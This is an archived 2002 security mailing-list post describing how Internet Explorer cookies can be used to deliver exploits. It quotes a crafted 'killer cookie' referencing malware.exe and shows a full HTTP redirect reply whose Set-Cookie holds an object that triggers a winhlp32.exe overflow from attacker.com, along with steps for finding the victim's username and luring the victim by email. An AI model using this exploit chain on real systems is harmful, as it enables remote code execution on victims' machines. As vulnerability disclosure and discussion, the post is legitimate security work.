> On closer examination, if we can format our cookie, we have a new and > interesting entry point, bringing to final closure, once and for all, > the "dangers of cookies". > The following represents an actual cookie: > ---killer K00kie--- > MIME-Version: 1.0 > Content-Location:file:///malware.exe > Content-Transfer-Encoding: base64 > TVpEAQUAAgAgACEA//91AAACAACZAAAAPgAAAAEA+zBqcgAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAB5AAAAngAAAAAAAAAAAAAAAAA=/www.malware.com/ > <applet CLASSID="CLSID:55555555-5555" > codebase="mhtml:file:///C:\WINDOWS\TEMP\Cookies\anyuserat_private > [1].txt!file:///malware.exe">160092129932829606357209871436829509617* > ---killer K00kie--- <snip> > 3. If we can format our first three lines in the cookie as above and > with one space between the encoding, it will function as designed. > 4. Question is, can we? While I know of no way to achieve the necessary LFs in a cookie file the recently discovered winhlp32.exe overflow can be used in exactly this way. Imagine the following http server reply (lines probably wrapped): --- http reply --- HTTP/1.0 301 Redirect Location: file://C:\Dokumente und Einstellungen\SomeUser\Cookies\SomeUserat_private[1].txt. Set-Cookie: sploit=<HTML><OBJECT classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11 codeBase=hhctrl.ocx#Version=4,72,8252,0 height=0 id=winhelp type=application/x-oleobject width=0><PARAM NAME="Width" VALUE="26"><PARAM NAME="Height" VALUE="26"><PARAM NAME="Command" VALUE="WinHelp"><PARAM NAME="Item1" VALUE='<overflow code>'><PARAM NAME="Item2" VALUE="Sec-1 LTD"></OBJECT><SCRIPT>winhelp.HHClick()</SCRIPT></HTML>; path=/; domain=www.attacker.com; expires=Fri, 12-Jun-2003 00:00:00 GMT <HTML><BODY> You're being redirected to cookie land... </BODY></HTML> --- http reply --- If IE makes a http request (no matter for what) to www.attacker.com this reply is send back. IE saves the cookie to disk and follows the redirect which uses the Sandblad dot bug to open the cookie file as html. The winhlp32.exe overflow is triggered and our code executes. The only problem an attacker has is determining the path to the cookie file, specifically the user name. One way to do this is to use nbtstat -A <victim's ip> which dumps the netbios name table of the victim if available. The interesting thing about this way to exploit IE vulnerabilities is that all exploit code is delivered by the http server. The only thing an attacker has to do is to somehow make the victim's IE fetch an arbitrary URL from a host he controls. This can be achieved for example by a simple html email which contains an <img> tag. Scanning emails for scripts is totally useless then. While there is a patch available for the winhlp32.exe overflow this way of exploitation can be used with any other (future) IE vulnerability. The real problem here is that cookie paths are very predictable and that the Sandblad dot bug can be used to render cookie files as html. I've tested this on win2k with IE 5.5, however I'm not up to date with patches so some things might have to be tweaked a bit to make it run on fully patched systems. -- Markus
This archive was generated by hypermail 2b30 : Sun Aug 25 2002 - 09:16:03 PDT